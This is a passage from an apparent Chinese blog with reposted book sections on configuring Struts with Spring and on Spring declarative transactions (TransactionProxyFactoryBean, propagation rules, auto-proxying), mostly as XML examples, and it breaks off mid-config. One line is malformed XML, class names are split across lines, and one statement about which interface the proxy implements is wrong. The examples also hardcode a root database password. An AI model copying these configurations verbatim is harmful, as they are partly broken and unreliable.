下面的示例程序在上一个示例程序的基础上稍作修改,增加了客户端验证和程序国际化部分。也调用了Spring的业务bean来验证登录。先看修改后的struts-config.xml文件:

<!-- XML文件版本,编码集 -->

<?xml version="1.0" encoding="gb2312"?>

<!-- Struts配置文件的文件头,包括DTD等信息 -->

<!DOCTYPE struts-config PUBLIC

          "-//Apache Software Foundation//DTD Struts Configuration 1.2//EN"

          "http://struts.apache.org/dtds/struts-config_1_2.dtd">

<!-- struts配置文件的根元素 -->

<struts-config>

    <!-- 配置formbean,所有的formbean都放在form-beans元素里定义 -->

    <form-beans>

        <!-- 定义了一个formbean,确定formbean名和实现类 -->

        <form-bean name="loginForm" type="lee.LoginForm"/>

    </form-beans>

    <!-- 定义action部分,所有的action都放在action-mapping元素里定义 -->

    <action-mappings>

        <!-- 这里只定义了一个action。而且没有指定该action的type元素 -->

        <action path="/login" name="loginForm"

            scope="request" validate="true" input="/login.jsp" >

            <!-- 定义action内的两个局部forward元素 -->

            <forward name="input" path="/login.jsp"/>

            <forward name="welcome" path="/welcome.html"/>

        </action>

    </action-mappings>

    <!-- 使用DelegatingRequestProcessor替换RequestProcessor -->

    <controller processorClass="org.springframework.web.struts.
    DelegatingRequestProcessor"/>

    <!-- 加载国际化的资源包 -->

    <message-resources parameter="mess"/>

    <!-- 装载验证的资源文件 -->

    <plug-in className="org.apache.struts.validator.ValidatorPlugIn">

        <set-property property="pathnames" value="/WEB-INF/validator-
        rules.xml,/WEB-INF/validation.xml" />

        <set-property property="stopOnFirstError" value="true"/>

    </plug-in>

    <!-- 装载Spring配置文件,随应用的启动创建ApplicationContext实例 -->

    <plug-in className="org.springframework.web.struts.
    ContextLoaderPlugIn">

        <set-property property="contextConfigLocation"

            value="/WEB-INF/applicationContext.xml,

                   /WEB-INF/action-servlet.xml"/>

    </plug-in>

</struts-config>

修改后的struts-config.xml文件,增加加载国际化资源文件。配置Struts的action不需要class属性,完成了ApplicationContext的创建。

然后考虑web.xml文件的配置,在web.xml文件中必须配置Struts框架的加载。除此之外,因为使用了Spring管理Struts的Action,而Action是随HTTP请求启动的,因此,应将Action的作用域配置成Request,为了使用Request作用域,必须在web.xml文件中增加适当的配置。

下面是web.xml文件的代码:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Web配置文件的根元素,以及对应的Schema信息 -->

<web-app xmlns="http://java.sun.com/xml/ns/j2ee"

    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

    xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
    http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"

    version="2.4">

    <!-- 定义一个Filter,该Filter是使用Request作用域的基础 -->

    <filter>

        <filter-name>requestContextFilter</filter-name>

        <filter-class>org.springframework.web.filter.
        RequestContextFilter </filter-class>

    </filter>

    <!-- 定义filter-mapping,让上面的Filter过滤所有的用户请求 -->

    <filter-mapping>

        <filter-name>requestContextFilter</filter-name>

        <url-pattern>/*</url-pattern>

    </filter-mapping>

    <!-- 定义Struts的核心Servlet -->

    <servlet>

        <servlet-name>action</servlet-name>

        <servlet-class>org.apache.struts.action.ActionServlet
        </servlet-class>

        <load-on-startup>2</load-on-startup>

    </servlet>

    <!-- 定义Struts的核心Servlet拦截所有*.do请求 -->

    <servlet-mapping>

        <servlet-name>action</servlet-name>

        <url-pattern>*.do</url-pattern>

    </servlet-mapping>

    <!-- 关于Struts标签库的配置 -->

    <jsp-config>

        <!-- 配置bean标签 -->

        <taglib>

            <taglib-uri>/tags/struts-bean</taglib-uri>

            <taglib-location>/WEB-INF/struts-bean.tld</taglib-location>

        </taglib>

        <!-- 配置html标签 -->

        <taglib>

            <taglib-uri>/tags/struts-html</taglib-uri>

            <taglib-location>/WEB-INF/struts-html.tld</taglib-location>

        </taglib>

        <!-- 配置logic标签 -->

        <taglib>

            <taglib-uri>/tags/struts-logic</taglib-uri>

            <taglib-location>/WEB-INF/struts-logic.tld</taglib-location>

        </taglib>

    </jsp-config>

</web-app>

posted @ 2009-07-19 10:22 jadmin 阅读(59) | 评论 (0)编辑 收藏

6.3.2 Spring事务策略的优势

虽然在上面的配置片段中,仅仅配置了JDBC局部事务管理器、Hibernate局部事务管理器、JDBC全局事务管理器等。但Spring支持大部分持久化策略的事务管理器。

不论采用何种持久化策略,Spring都提供了一致的事务抽象,因此,应用开发者能在任何环境下,使用一致的编程模型。无须更改代码,应用就可在不同的事务管理策略中切换。Spring同时支持声明式事务管理和编程式事务管理。

使用编程式事务管理,开发者使用的是Spring事务抽象,而无须使用任何具体的底层事务API。Spring的事务管理将代码从底层具体的事务API中抽象出来,该抽象可以使用在任何底层事务基础之上。

使用声明式策略,开发者通常书写很少的事务管理代码,因此,不依赖Spring或任何其他事务API。Spring的声明式事务无须任何额外的容器支持,Spring容器本身管理声明式事务。使用声明事务策略,无须在业务代码中书写任何事务代码,可以让开发者更好地专注于业务逻辑的实现。Spring管理的事务支持多个事务资源的跨越,但无法支持跨越远程调用的事务上下文传播。

6.3.3 使用TransactionProxyFactoryBean创建事务代理

Spring同时支持编程式事务策略和声明式事务策略,大部分时候,都推荐采用声明式事务策略,使用声明事务策略的优势十分明显:

   ● 声明式事务能大大降低开发者的代码书写量。而且声明式事务几乎不需要影响应用的代码。因此,无论底层事务策略如何变化,应用程序无须任何改变。

   ● 应用程序代码无须任何事务处理代码,可以更专注于业务逻辑的实现。

   ● Spring则可对任何POJO的方法提供事务管理,而且Spring的声明式事务管理无须容器的支持,可在任何环境下使用。

   ● EJB的CMT无法提供声明式回滚规则。而通过配置文件,Spring可指定事务在遇到特定异常时自动回滚。Spring不仅可在代码中使用setRollbackOnly回滚事务,也可在配置文件中配置回滚规则。

   ● 由于Spring采用AOP的方式管理事务,因此,可以在事务回滚动作中插入用户自己的动作,而不仅仅是执行系统默认的回滚。

提示:本节不打算全面介绍Spring的各种事务策略,因此本节不会介绍编程式事务。如果读者需要更全面了解Spring事务的相关方面,请参阅笔者所著的《Spring2.0宝典》     一书。

对于采用声明式事务策略,可以使用TransactionProxyFactoryBean来配置事务代理Bean。正如它的类名所暗示的,它是一个工厂Bean,工厂Bean用于生成一系列的Bean实例,这一系列的Bean实例都是Proxy。

可能读者已经想到了,既然TransactionProxyFactoryBean产生的是代理Bean,可见这种事务代理正是基于Spring AOP组件的。配置TransactionProxyFactoryBean时,一样需要指定目标Bean。

每个TransactionProxyFactoryBean为一个目标Bean生成事务代理,事务代理的方法改写了目标Bean的方法,就是在目标Bean的方法执行之前加入开始事务,在目标Bean的方法正常结束之前提交事务,如果遇到特定异常则回滚事务。

TransactionProxyFactoryBean创建事务代理时,需要了解当前事务所处的环境,该环境属性通过PlatformTransactionManager实例传入,而相关事务传入规则在TransactionProxy- FactoryBean的定义中给出。

下面给出声明式事务配置文件的完整代码:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Spring配置文件的根元素,以及Spring配置文件的Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 定义数据源Bean,使用C3P0数据源实现 -->

    <bean id="dataSource" class="com.mchange.v2.c3p0.
    ComboPooledDataSource" destroy-method="close">

        <!-- 指定连接数据库的驱动 -->

        <property name="driverClass" value="com.mysql.jdbc.Driver"/>

        <!-- 指定连接数据库的URL -->

        <property name="jdbcUrl" value="jdbc:mysql://localhost/j2ee"/>

        <!-- 指定连接数据库的用户名 -->

        <property name="user" value="root"/>

        <!-- 指定连接数据库的密码 -->

        <property name="password" value="32147"/>

        <!-- 指定连接数据库连接池的最大连接数 -->

        <property name="maxPoolSize" value="40"/>

        <!-- 指定连接数据库连接池的最小连接数 -->

        <property name="minPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的初始化连接数 -->

        <property name="initialPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的连接最大空闲时间 -->

        <property name="maxIdleTime" value="20"/>

    </bean>

    <!-- 定义Hibernate的SessionFactory -->

    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.
    LocalSessionFactoryBean">

        <!-- 依赖注入SessionFactory所需的数据源,正是上文定义的dataSource -->

        <property name="dataSource" <ref="dataSource"/>

        <!-- mappingResources属性用来列出全部映射文件 -->

        <property name="mappingResources">

            <list>

                <!-- 以下用来列出所有的PO映射文件 -->

                <value>lee/Person.hbm.xml</value>

            </list>

        </property>

          <!-- 定义Hibernate的SessionFactory属性 -->

        <property name="hibernateProperties">

             <props>

                <!-- 指定Hibernate的连接方言 -->

                <prop key="hibernate.dialect">org.hibernate.dialect.
                MySQLDialect</prop>

                <!-- 是否根据Hiberante映射创建数据表时,选择create、update、
                create-drop -->

                  <prop key="hibernate.hbm2ddl.auto">update</prop>

             </props>

        </property>

    </bean>

    <!-- 配置DAO Bean,该Bean将作为目标Bean使用 -->

    <bean id="personDAOTarget" class="lee.PersonDaoImpl">

        <!-- 采用依赖注入来传入SessionFactory的引用 -->

        <property name="sessionFactory" ref="sessionFactory"/>

    </bean>

    <!-- 配置Hibernate的事务管理器 -->

    <!-- 使用HibernateTransactionManager类,该类实现PlatformTransactionManager
    接口,针对采用Hibernate持久化连接的特定实现 -->

    <bean id="transactionManager"

        class="org.springframework.orm.hibernate3.
        HibernateTransactionManager">

        <!-- HibernateTransactionManager Bean,它需要依赖注入一个SessionFactory
        Bean的引用 -->

        <property name="sessionFactory" ref="sessionFactory"/>

    </bean>

    <!-- 配置personDAOTarget Bean的事务代理 -->

    <bean id="personDAO"

        class="org.springframework.transaction.interceptor.
        TransactionProxyFactoryBean">

        <!-- 依赖注入PlatformTransactionManager的bean引用,此处使用
        Hibernate的bean -->

        <!-- 局部事务器,因此transactionManager 传入Hibernate事务管理器的
        引用 -->

           <property name="transactionManager" ref="transactionManager"/>

        <!-- 需要生成代理的目标bean -->

           <property name="target" ref="personDAOTarget"/>

        <!-- 指定事务属性 -->

           <property name="transactionAttributes">

               <props>

                <!-- 以下部分为定义事务回滚规则 -->

                   <prop key="insert*">PROPAGATION_REQUIRED,
                -MyCheckedException</prop>

                   <prop key="update*">PROPAGATION_REQUIRED</prop>

                   <prop key="*">PROPAGATION_REQUIRED,readOnly</prop>

            </props>

        </property>

    </bean>

</beans>

在上面的定义文件中,没有对DAO对象采用Service层包装。通常情况下,DAO层上应有一层Service层。事务代理则以Service层Bean为目标Bean。此处为了简化配置,TransactionProxyFactoryBean直接以DAO bean作为目标bean,这一点不会影响事务代理的生成。

事务回滚规则部分定义了三个回滚规则:

第一个回滚规则表示所有以insert开始的方法,都应该满足该事务规则。PROPAGATION_REQUIRED事务传播规则指明,该方法必须处于事务环境中,如果当前执行线程已处于事务环境下,则直接执行;否则,启动新的事务然后执行该方法。该规则还指定,如果方法抛出MyCheckedException的实例及其子类的实例,则强制回滚。MyCheckedException前的“-”表示强制回滚;“+”则表示强制提交,即某些情况下,即使抛出异常也强制提交;

第二个回滚规则表示所有以update开头的方法,都遵守PROPAGATION_REQUIRED的事务传播规则;

第三个回滚规则表示除前面规定的方法外,其他所有方法都采用PROPAGATION_ REQUIRED事务传播规则,而且只读。

常见的事务传播规则有如下几个:

   ● PROPAGATION_MANDATORY,要求调用该方法的线程必须处于事务环境中,否则抛出异常。

   ● PROPAGATION_NESTED,如果执行该方法的线程已处于事务环境下,依然启动新的事务,方法在嵌套的事务里执行。如果执行该方法的线程序并未处于事务中,也启动新的事务,然后执行该方法,此时与PROPAGATION_REQUIRED相同。

   ● PROPAGATION_NEVER,不允许调用该方法的线程处于事务环境下,如果调用该方法的线程处于事务环境下,则抛出异常。

   ● PROPAGATION_NOT_SUPPORTED,如果调用该方法的线程处在事务中,则先暂停当前事务,然后执行该方法。

   ● PROPAGATION_REQUIRED,要求在事务环境中执行该方法,如果当前执行线程已处于事务中,则直接调用;如果当前执行线程不处于事务中,则启动新的事务后执行该方法。

   ● PROPAGATION_REQUIRES_NEW,该方法要求有一个线程在新的事务环境中执行,如果当前执行线程已处于事务中,先暂停当前事务,启动新的事务后执行该方法;如果当前调用线程不处于事务中,则启动新的事务后执行该方法。

   ● PROPAGATION_SUPPORTS,如果当前执行线程处于事务中,则使用当前事务,否则不使用事务。

程序里原来使用personDAO的地方,无须变化。因为,配置文件里将personDAO目标Bean的id改成personDAOTarget,为TransactionProxyFactoryBean工厂Bean所产生的代理Bean命名为personDAO。该代理Bean会包含原有personDAO的所有方法,而且为这些方法增加了不同的事务处理规则。

程序面向PersonDaoImpl类所实现的接口编程,TransactionProxyFactoryBean生成的代理Bean也会实现TransactionProxyFactoryBean接口。因此,原有的程序中调用DAO组件的代码无须任何改变。程序运行时,由事务代理完成原来目标Bean完成的工作。

事实上,Spring不仅支持对接口的代理,整合CGLIB后,Spring甚至可对具体类生成代理。只要设置proxyTargetClass属性为true就可以。如果目标Bean没有实现任何接口,proxyTargetClass属性默认被设为true,此时Spring会对具体类生成代理。当然,通常建议面向接口编程,而不要面向具体的实现类编程。

6.3.4 使用继承简化事务配置

仔细观察配置文件中两个事务代理Bean的配置时,发现两个事务代理Bean的大部分配置完全相同,如果配置文件中包含大量这样的事务代理Bean配置,配置文件将非常臃肿。考虑到大部分事务代理Bean的配置都大同小异,可以使用Bean继承来简化事务代理的配置。

正如前面部分介绍的,Bean继承是将所有子Bean中相同的配置定义成一个模板,并将此模板Bean定义成一个抽象Bean。考虑所有事务代理Bean中,有如下部分是大致相   同的:

   ● 事务代理Bean所使用的事务管理器。

   ● 事务传播规则。

因此,现在配置文件中定义如下的事务代理模板Bean,其配置代码如下:

<!-- 定义所有事务代理Bean的模板 -->

<bean id="txProxyTemplate" abstract="true"

        class="org.springframework.transaction.interceptor.
        TransactionProxyFactoryBean">

    <!-- 为事务代理Bean注入生成代理所需的PlatformTransactionManager实例 -->

    <property name="transactionManager" ref="transactionManager"/>

        <!-- 定义生成事务代理通用的事务属性 -->

        <property name="transactionAttributes">

            <props>

                <!-- 所有的方法都应用PROPAGATION_REQUIRED的事务传播规则 -->

                <prop key="*">PROPAGATION_REQUIRED</prop>

            </props>

    </property>

</bean>

而真正的事务代理Bean,则改为继承上面的事务模板Bean。考虑到将目标Bean定义在Spring容器中可能增加未知的风险,因此将目标Bean定义成嵌套Bean。

<!-- 让事务代理Bean继承模板Bean -->

<bean id="personDAO" parent="txProxyTemplate">

    <!-- 这里采用嵌套Bean的方式来定义目标Bean,当然也可以引用已存在的Bean -->

    <property name="target">

        <bean class="lee.personDAO"/>

    </property>

</bean>

此时的personDAO Bean无须具体地定义事务属性,它将在其父Bean txProxyTemplate中获取事务定义属性。此处采用嵌套Bean来定义目标Bean,因此,并未将目标Bean直接暴露在Spring的上下文中让其他模块调用。当然,也可采用一个已经存在的Bean作为目标Bean;子Bean的事务属性定义,完全可覆盖事务代理模板里的事务属性定义。如下例所示:

<!-- 让事务代理bean继承模板Bean -->

<bean id="personDAO" parent="txProxyTemplate">

    <!-- 这里,采用引用已存在的bean的方式来定义目标Bean -->

    <property name="target" ref ="personDAOTarget"/>

    <!-- 覆盖事务代理模板bean中的事务属性定义 -->

    <property name="transactionAttributes">

        <props>

            <prop key="get*">PROPAGATION_REQUIRED,readOnly</prop>

            <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>

            <prop key="load*">PROPAGATION_REQUIRED,readOnly</prop>

         </props>

</property>

</bean>

可见,采用Bean继承方式定义事务代理的方式,可以很好地简化事务代理的配置,可以避免配置事务代理Bean时的冗余配置。

提示:使用Bean继承可以很好地简化事务代理Bean的配置,通过将各事务代理Bean共同的配置信息提取成事务模板Bean,可以让实际的事务代理Bean的配置更加简洁;而且,配置方式相当直观。尽量将目标Bean配置成嵌套Bean,这样的方式可以保证更好的内聚性。

如果读者还记得前面介绍的AOP知识,应该知道还有一种更加简洁的配置,就是利用Bean后处理器,让Bean后处理器为容器中其他Bean自动创建事务代理。

6.3.5 使用自动创建代理简化事务配置

回顾6.2.6节和6.2.7节,读者可能已经想到如何自动创建代理。是的,正是通过6.2.6节和6.2.7节所给出的两个自动代理创建类来生成事务代理。

正如前文已经提到的,使用BeanNameAutoProxyCreator和DefaultAdvisorAutoProxy- Creator来创建代理时,并不一定是创建事务代理,关键在于传入的拦截器,如果传入事务拦截器,将可自动生成事务代理。

下面是使用BeanNameAutoProxyCreator自动生成事务代理的配置文件:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Spring配置文件的根元素,以及相应的Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 定义数据源Bean,使用C3P0数据源实现 -->

    <bean id="dataSource" class="com.mchange.v2.c3p0.
    ComboPooledDataSource" destroy-method="close">

        <!-- 指定连接数据库的驱动 -->

        <property name="driverClass" value="com.mysql.jdbc.Driver"/>

        <!-- 指定连接数据库的URL -->

        <property name="jdbcUrl" value="jdbc:mysql://localhost/j2ee"/>

        <!-- 指定连接数据库的用户名 -->

        <property name="user" value="root"/>

        <!-- 指定连接数据库的密码 -->

        <property name="password" value="32147"/>

        <!-- 指定连接数据库连接池的最大连接数 -->

        <property name="maxPoolSize" value="40"/>

        <!-- 指定连接数据库连接池的最小连接数 -->

        <property name="minPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的初始化连接数 -->

        <property name="initialPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的连接最大空闲时间 -->

        <property name="maxIdleTime" value="20"/>

    </bean>

    <!-- 使用JDBC的局部事务策略 -->

    <bean id="transactionManager"

        class="org.springframework.jdbc.datasource.DataSource-
        TransactionManager">

        <!-- 为事务管理器注入所需的数据源Bean -->

        <property name="dataSource" ref="dataSource"/>

    </bean>

    <!-- 配置目标Bean,该目标Bean将由Bean后处理器自动生成代理 -->

    <bean id="test1" class="lee.TransactionTestImpl">

        <!-- 依赖注入目标Bean所必需的数据源Bean -->

        <property name="ds" ref="dataSource"/>

    </bean>

    <!-- 配置目标Bean,该目标Bean将由Bean后处理器自动生成代理 -->

    <bean id="test2" class="lee.TestImpl">

        <!-- 依赖注入目标Bean所必需的数据源Bean -->

        <property name="ds" ref="dataSource"/>

    </bean>

    <!-- 配置事务拦截器Bean -->

    <bean id="transactionInterceptor"

        class="org.springframework.transaction.interceptor.
        TransactionInterceptor">

        <!-- 事务拦截器bean需要依赖注入一个事务管理器 -->

        <property name="transactionManager" ref="transactionManager"/>

        <property name="transactionAttributes">

            <!-- 下面定义事务传播属性 -->

            <props>

                <prop key="insert*">PROPAGATION_REQUIRED</prop>

                <prop key="find*">PROPAGATION_REQUIRED,readOnly</prop>

                <prop key="*">PROPAGATION_REQUIRED</prop>

            </props>

        </property>

    </bean>

    <!-- 定义BeanNameAutoProxyCreator的Bean后处理器 -->

    <bean class="org.springframework.aop.framework.autoproxy.
    BeanNameAutoProxyCreator">

    <!-- 指定对满足哪些bean name的bean自动生成业务代理 -->

        <property name="beanNames">

            <!-- 下面是所有需要自动创建事务代理的Bean -->

            <list>

                <value>test1</value>

                <value>test2</value>

            </list>

            <!-- 此处可增加其他需要自动创建事务代理的Bean -->

        </property>

        <!-- 下面定义BeanNameAutoProxyCreator所需的拦截器 -->

        <property name="interceptorNames">

            <list>

                <value>transactionInterceptor</value>

                <!-- 此处可增加其他新的Interceptor -->

            </list>

        </property>

    </bean>

</beans>

如果配置文件中仅有两个目标Bean,可能不能很清楚地看出这种自动创建代理配置方式的优势,但如果有更多目标Bean需要自动创建事务代理,则可以很好地体会到这种配置方式的优势:配置文件只需要简单地配置目标Bean,然后在BeanNameAutoProxyCreator配置中增加一行即可。

提示:使用BeanNameAutoProxyCreator可以自动创建事务代理,使用DefaultAdvisor- AutoProxyCreator也可自动创建事务代理。关于后一个Bean后处理器的配置方式,请参看前面6.2.7节的内容。

posted @ 2009-07-19 10:18 jadmin 阅读(70) | 评论 (0)编辑 收藏

6.3 Spring的事务

Spring的事务管理不需与任何特定的事务API耦合。对不同的持久层访问技术,编程式事务提供一致的事务编程风格,通过模板化的操作一致性地管理事务。声明式事务基于Spring AOP实现,却并不需要程序开发者成为AOP专家,亦可轻易使用Spring的声明式事务管理。

6.3.1 Spring支持的事务策略

Spring事务策略是通过PlatformTransactionManager接口体现的,该接口是Spring事务策略的核心。该接口的源代码如下:

public interface PlatformTransactionManager

{

    //平台无关的获得事务的方法

    TransactionStatus getTransaction(TransactionDefinition definition)

        throws TransactionException;

    //平台无关的事务提交方法

    void commit(TransactionStatus status) throws TransactionException;

    //平台无关的事务回滚方法

    void rollback(TransactionStatus status) throws TransactionException;

}

PlatformTransactionManager是一个与任何事务策略分离的接口,随着底层不同事务策略切换,应用必须采用不同的实现类。PlatformTransactionManager接口没有与任何事务资源捆绑在一起,它可以适应于任何的事务策略,结合Spring的IoC容器,可以向PlatformTransactionManager注入相关的平台特性。

PlatformTransactionManager接口有许多不同的实现类,应用程序面向与平台无关的接口编程,对不同平台的底层支持,由PlatformTransactionManager接口的实现类完成。从而,应用程序无须与具体的事务API耦合。因此,使用PlatformTransactionManager接口,可将代码从具体的事务API中解耦出来。

即使使用特定容器管理的JTA,代码依然无须执行JNDI查找,无须与特定的JTA资源耦合在一起。通过配置文件,JTA资源传给PlatformTransactionManager的实现类。因此,程序的代码可在JTA事务管理和非JTA事务管理之间轻松切换。

在PlatformTransactionManager接口内,包含一个getTransaction(TransactionDefinition definition)方法,该方法根据一个TransactionDefinition参数,返回一个TransactionStatus对象。TransactionStatus对象表示一个事务。TransactionStatus被关联在当前执行的线程。

getTransaction(TransactionDefinition definition)返回的TransactionStatus对象,可能是一个新的事务,也可能是一个已经存在的事务对象。如果当前执行的线程已经处于事务管理下,返回当前线程的事务对象,否则,返回当前线程的调用堆栈已有的事务对象。

TransactionDefinition接口定义了一个事务规则,该接口必须指定如下几个属性值:

   ● 事务隔离,当前事务和其他事务的隔离程度。例如,这个事务能否看到其他事务未提交的数据等。

   ● 事务传播,通常,在事务中执行的代码都会在当前事务中运行。但是,如果一个事务上下文已经存在,有几个选项可指定该事务性方法的执行行为。例如,大多数情况下,简单地在现有的事务上下文中运行;或者挂起现有事务,创建一个新的事务。Spring提供EJB CMT(Contain Manager Transaction,容器管理事务)中所有的事务传播选项。

   ● 事务超时,事务在超时前能运行多久。事务的最长持续时间。如果事务一直没有被提交或回滚,将在超出该时间后,系统自动回滚事务。

   ● 只读状态,只读事务不修改任何数据。在某些情况下(例如使用Hibernate时),只读事务是非常有用的优化。

TransactionStatus代表事务本身,它提供了简单的控制事务执行和查询事务状态的方法。这些方法在所有的事务API中都是相同的。TransactionStatus接口的源代码如下:

public interface TransactionStatus

{

    //判断事务是否是新建的事务

    boolean isNewTransaction();

    //设置事务回滚

    void setRollbackOnly();

    //查询事务是否已有回滚标志

    boolean isRollbackOnly();

}

Spring的事务管理由PlatformTransactionManager的不同实现类完成。在Spring上下文中配置PlatformTransactionManager Bean时,必须针对不同环境提供不同的实现类。

下面提供不同的持久层访问环境,及其对应的PlatformTransactionManager实现类的 配置。

JDBC数据源的局部事务策略:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Spring配置文件的根元素,以及Spring配置文件的Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans

       http://www.springframework.org/schema/beans/spring-beans.xsd">

<!-- 定义数据源Bean,使用C3P0数据源实现 -->

<bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource" destroy-method="close">

    <!-- 指定连接数据库的驱动 -->

    <property name="driverClass" value="com.mysql.jdbc.Driver"/>

    <!-- 指定连接数据库的URL -->

    <property name="jdbcUrl" value="jdbc:mysql://localhost/j2ee"/>

    <!-- 指定连接数据库的用户名 -->

    <property name="user" value="root"/>

    <!-- 指定连接数据库的密码 -->

    <property name="password" value="32147"/>

    <!-- 指定连接数据库连接池的最大连接数 -->

    <property name="maxPoolSize" value="40"/>

    <!-- 指定连接数据库连接池的最小连接数 -->

    <property name="minPoolSize" value="1"/>

    <!-- 指定连接数据库连接池的初始化连接数 -->

    <property name="initialPoolSize" value="1"/>

    <!-- 指定连接数据库连接池的连接最大空闲时间 -->

    <property name="maxIdleTime" value="20"/>

</bean>

<!-- 配置JDBC数据源的局部事务管理器 -->

<!-- 使用DataSourceTransactionManager 类,该类实现PlatformTransactionManager接口 -->

<!-- 针对采用数据源连接的特定实现 -->

<bean id="transactionManager"

        class="org.springframework.jdbc.datasource.
        DataSourceTransactionManager">

        <!-- DataSourceTransactionManager bean需要依赖注入一个DataSource
        bean的引用 -->

         <property name="dataSource" ref="dataSource"/>

    </bean>

</beans>

对于容器管理JTA数据源,全局事务策略的配置文件如下:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Spring配置文件的根元素,以及Spring配置文件的Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 配置JNDI数据源Bean -->

    <bean id="dataSource" class="org.springframework.jndi.
    JndiObjectFactoryBean">

    <!-- 容器管理数据源的JNDI -->

         <property name="jndiName" value="jdbc/jpetstore"/>

    </bean>

    <!-- 使用JtaTransactionManager类,该类实现PlatformTransactionManager接
    口 -->

    <!-- 针对采用全局事务管理的特定实现 -->

    <!-- JtaTransactionManager不需要知道数据源,或任何其他特定资源 -->

    <!-- 因为它使用容器的全局事务管理 -->

    <bean id="transactionManager"

        class="org.springframework.transaction.jta.
        JtaTransactionManager" />

</beans>

对于采用Hibernate持久层访问策略时,局部事务策略的配置文件如下:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Spring配置文件的根元素,以及Spring配置文件的Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 定义数据源Bean,使用C3P0数据源实现 -->

    <bean id="dataSource" class="com.mchange.v2.c3p0.
    ComboPooledDataSource" destroy-method="close">

        <!-- 指定连接数据库的驱动 -->

        <property name="driverClass" value="com.mysql.jdbc.Driver"/>

        <!-- 指定连接数据库的URL -->

        <property name="jdbcUrl" value="jdbc:mysql://localhost/j2ee"/>

        <!-- 指定连接数据库的用户名 -->

        <property name="user" value="root"/>

        <!-- 指定连接数据库的密码 -->

        <property name="password" value="32147"/>

        <!-- 指定连接数据库连接池的最大连接数 -->

        <property name="maxPoolSize" value="40"/>

        <!-- 指定连接数据库连接池的最小连接数 -->

        <property name="minPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的初始化连接数 -->

        <property name="initialPoolSize" value="1"/>

        <!-- 指定连接数据库连接池的连接最大空闲时间 -->

        <property name="maxIdleTime" value="20"/>

    </bean>

    <!-- 定义Hibernate的SessionFactory -->

    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.
    LocalSessionFactoryBean">

        <!-- 依赖注入SessionFactory所需的数据源,正是上文定义的dataSource -->

        <property name="dataSource" ref="dataSource"/>

        <!-- mappingResources属性用来列出全部映射文件 -->

        <property name="mappingResources">

            <list>

                <!-- 以下用来列出所有的PO映射文件 -->

                <value>lee/MyTest.hbm.xml</value>

            </list>

        </property>

          <!-- 定义Hibernate的SessionFactory的属性 -->

        <property name="hibernateProperties">

             <props>

                <!-- 指定Hibernate的连接方言 -->

                <prop key="hibernate.dialect">org.hibernate.dialect.
                MySQLDialect</prop>

                <!-- 是否根据Hibernate映射创建数据表时,选择create、update、
                create-drop -->

                  <prop key="hibernate.hbm2ddl.auto">update</prop>

             </props>

        </property>

    </bean>

    <!-- 配置Hibernate的局部事务管理器 -->

    <!-- 使用HibernateTransactionManager类,该类是PlatformTransactionManager
    接口,针对采用Hibernate持久化连接的特定实现 -->

    <bean id="transactionManager"

    class="org.springframework.orm.hibernate3.
    HibernateTransactionManager">

            <!-- HibernateTransactionManager Bean需要依赖注入一个
            SessionFactorybean的引用 -->

         <property name="sessionFactory" ref="sessionFactory"/>

     </bean>

</beans>

对于采用Hibernate持久层访问策略时,全局事务策略的配置文件如下:

<?xml version="1.0" encoding="GBK"?>

<!-- 指定Spring配置文件的根元素,以及Spring配置文件的Schema信息 -->

<beans xmlns="http://www.springframework.org/schema/beans"

       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"

       xsi:schemaLocation="http://www.springframework.org/schema/beans

http://www.springframework.org/schema/beans/spring-beans.xsd">

    <!-- 配置JNDI数据源Bean -->

    <bean id="dataSource" class="org.springframework.jndi.
    JndiObjectFactoryBean">

        <!-- 容器管理数据源的JNDI -->

         <property name="jndiName" value="jdbc/jpetstore"/>

    </bean>

    <!--定义Hibernate的SessionFactory -->

    <bean id="sessionFactory" class="org.springframework.orm.hibernate3.
    LocalSessionFactoryBean">

        <!-- 依赖注入SessionFactory所需的数据源,正是上文定义的dataSource Bean -->

        <property name="dataSource" ref="dataSource"/>

        <!-- mappingResources属性用来列出全部映射文件 -->

        <property name="mappingResources">

            <list>

                  <!-- 以下用来列出所有的PO映射文件 -->

                <value>lee/MyTest.hbm.xml</value>

            </list>

        </property>

          <!-- 定义Hibernate的SessionFactory的属性 -->

        <property name="hibernateProperties">

             <props>

                <!-- 指定Hibernate的连接方言 -->

                <prop key="hibernate.dialect">org.hibernate.dialect.
                MySQLDialect</prop>

                <!-- 是否根据Hiberante映射创建数据表时,选择create、update、
                create-drop -->

